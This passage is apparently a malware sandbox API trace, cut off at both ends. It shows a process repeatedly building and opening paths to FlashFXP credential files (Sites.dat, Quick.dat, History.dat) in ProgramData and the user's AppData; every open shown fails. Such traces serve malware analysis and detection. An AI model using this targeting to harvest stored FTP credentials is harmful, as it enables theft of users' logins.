lpDst=0x2cc8d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\Sites.dat") returned 0x24 [0056.104] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\programdata\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.104] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.104] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.104] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.104] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.104] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.104] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0056.104] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0056.104] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cbd10 [0056.104] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0056.104] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\Sites.dat") returned="C:\\ProgramData\\FlashFXP\\4\\Sites.dat" [0056.104] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.104] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cc8d0 [0056.104] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Sites.dat", lpDst=0x2cc8d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\Sites.dat") returned 0x24 [0056.104] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\programdata\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.104] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.104] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.104] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.104] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.104] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.104] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\ProgramData\\FlashFXP\\5") returned="C:\\ProgramData\\FlashFXP\\5" [0056.104] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\5") returned 25 [0056.104] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cbd10 [0056.104] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\5" | out: lpString1="C:\\ProgramData\\FlashFXP\\5") returned="C:\\ProgramData\\FlashFXP\\5" [0056.104] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\5", lpString2="\\Sites.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\5\\Sites.dat") returned="C:\\ProgramData\\FlashFXP\\5\\Sites.dat" [0056.104] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.104] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\5\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0056.104] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cc8d0 [0056.104] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\5\\Sites.dat", lpDst=0x2cc8d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\5\\Sites.dat") returned 0x24 [0056.105] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\5\\Sites.dat" (normalized: "c:\\programdata\\flashfxp\\5\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.105] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.105] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.105] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.105] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.105] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.105] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.105] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0056.105] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0056.105] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.105] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cbd10 [0056.105] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0056.105] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\Quick.dat") returned="C:\\ProgramData\\FlashFXP\\3\\Quick.dat" [0056.105] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.105] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0056.105] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cc8d0 [0056.105] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Quick.dat", lpDst=0x2cc8d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\Quick.dat") returned 0x24 [0056.105] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\programdata\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.105] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.105] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.105] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.105] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.105] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.105] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.105] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0056.105] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0056.105] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.105] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cbd10 [0056.105] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0056.105] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\Quick.dat") returned="C:\\ProgramData\\FlashFXP\\4\\Quick.dat" [0056.105] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.105] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0056.105] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cc8d0 [0056.105] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Quick.dat", lpDst=0x2cc8d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\Quick.dat") returned 0x24 [0056.106] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\programdata\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.106] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.106] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.106] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.106] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.106] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.106] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\ProgramData\\FlashFXP\\5") returned="C:\\ProgramData\\FlashFXP\\5" [0056.106] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\5") returned 25 [0056.106] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x2cbd10 [0056.106] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\5" | out: lpString1="C:\\ProgramData\\FlashFXP\\5") returned="C:\\ProgramData\\FlashFXP\\5" [0056.106] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\5", lpString2="\\Quick.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\5\\Quick.dat") returned="C:\\ProgramData\\FlashFXP\\5\\Quick.dat" [0056.106] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.106] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\5\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x2cc8d0 [0056.106] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\5\\Quick.dat", lpDst=0x2cc8d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\5\\Quick.dat") returned 0x24 [0056.106] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\5\\Quick.dat" (normalized: "c:\\programdata\\flashfxp\\5\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.106] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.106] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.106] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.106] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.106] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.106] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0056.106] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0056.106] lstrlenA (lpString="\\History.dat") returned 12 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x2cbd10 [0056.106] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0056.106] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\History.dat") returned="C:\\ProgramData\\FlashFXP\\3\\History.dat" [0056.106] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.106] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cc8d0 [0056.106] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\History.dat", lpDst=0x2cc8d0, nSize=0x27 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\History.dat") returned 0x26 [0056.106] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\History.dat" (normalized: "c:\\programdata\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.106] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.106] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.106] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.106] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.106] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.106] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0056.106] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0056.106] lstrlenA (lpString="\\History.dat") returned 12 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x2cbd10 [0056.106] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0056.106] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\History.dat") returned="C:\\ProgramData\\FlashFXP\\4\\History.dat" [0056.106] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.106] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0056.106] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cc8d0 [0056.107] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\History.dat", lpDst=0x2cc8d0, nSize=0x27 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\History.dat") returned 0x26 [0056.107] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\History.dat" (normalized: "c:\\programdata\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.107] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.107] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.107] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.107] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x2cc8d0 [0056.107] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.107] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\ProgramData\\FlashFXP\\5") returned="C:\\ProgramData\\FlashFXP\\5" [0056.107] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\5") returned 25 [0056.107] lstrlenA (lpString="\\History.dat") returned 12 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x2cbd10 [0056.107] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\ProgramData\\FlashFXP\\5" | out: lpString1="C:\\ProgramData\\FlashFXP\\5") returned="C:\\ProgramData\\FlashFXP\\5" [0056.107] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\5", lpString2="\\History.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\5\\History.dat") returned="C:\\ProgramData\\FlashFXP\\5\\History.dat" [0056.107] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.107] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\5\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cc8d0 [0056.107] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\5\\History.dat", lpDst=0x2cc8d0, nSize=0x27 | out: lpDst="C:\\ProgramData\\FlashFXP\\5\\History.dat") returned 0x26 [0056.107] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\5\\History.dat" (normalized: "c:\\programdata\\flashfxp\\5\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.107] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.107] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.107] LocalFree (hMem=0x2cc740) returned 0x0 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.107] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.107] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.107] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.107] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.107] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0056.107] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned 48 [0056.107] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2cbd10 [0056.107] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0056.107] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat" [0056.107] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.107] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0056.107] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2cc8d0 [0056.107] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat", lpDst=0x2cc8d0, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat") returned 0x3b [0056.107] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.107] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.107] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.107] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.107] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.107] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.107] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0056.107] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned 48 [0056.107] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.107] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2cbd10 [0056.108] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0056.108] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat" [0056.108] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.108] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0056.108] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2cc8d0 [0056.108] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat", lpDst=0x2cc8d0, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat") returned 0x3b [0056.108] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.108] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.108] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.108] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.108] lstrlenA (lpString="\\FlashFXP\\5") returned 11 [0056.108] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.108] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.108] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" [0056.108] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned 48 [0056.108] lstrlenA (lpString="\\Sites.dat") returned 10 [0056.108] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2cbd10 [0056.108] lstrcpyA (in: lpString1=0x2cbd10, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5" [0056.108] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Sites.dat" [0056.108] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.108] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0056.108] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2cc8d0 [0056.108] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Sites.dat", lpDst=0x2cc8d0, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Sites.dat") returned 0x3b [0056.108] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\5\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\5\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.108] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.108] LocalFree (hMem=0x2cbd10) returned 0x0 [0056.108] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.108] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0056.108] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2cc8d0 [0056.108] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.108] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0056.108] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned 48 [0056.108] lstrlenA (lpString="\\Quick.dat") returned 10 [0056.108] 